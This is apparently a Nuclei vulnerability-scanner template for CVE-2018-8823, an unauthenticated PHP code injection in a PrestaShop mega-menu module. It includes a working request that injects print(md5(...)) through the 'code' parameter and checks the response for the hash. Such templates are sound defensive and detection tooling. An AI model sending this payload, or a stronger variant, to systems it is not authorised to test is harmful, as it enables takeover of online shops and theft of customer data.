PrestaShop Responsive Mega Menu Module - Remote Code Execution

id: CVE-2018-8823

info:
  name: PrestaShop Responsive Mega Menu Module - Remote Code Execution
  author: MaStErChO
  severity: critical
  description: |
    The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code or SQL commands through the module, leading to complete PrestaShop compromise and access to customer data.
  remediation: |
    Remove the vulnerable Responsive Mega Menu Pro module or upgrade to a patched version.
  reference:
    - https://vulners.com/openvas/OPENVAS:1361412562310144185
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
    - https://github.com/advisories/GHSA-q937-6mg8-6rgc
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8823
    - https://github.com/zapalm/prestashop-security-vulnerability-checker
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-8823
    cwe-id: CWE-94
    epss-score: 0.51572
    epss-percentile: 0.98804
    cpe: cpe:2.3:a:responsive_mega_menu_pro_project:responsive_mega_menu_pro:1.0.32:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: responsive_mega_menu_pro_project
    product: responsive_mega_menu_pro
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: cve,cve2018,prestashop,rce,sqli,responsive_mega_menu_pro_project,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
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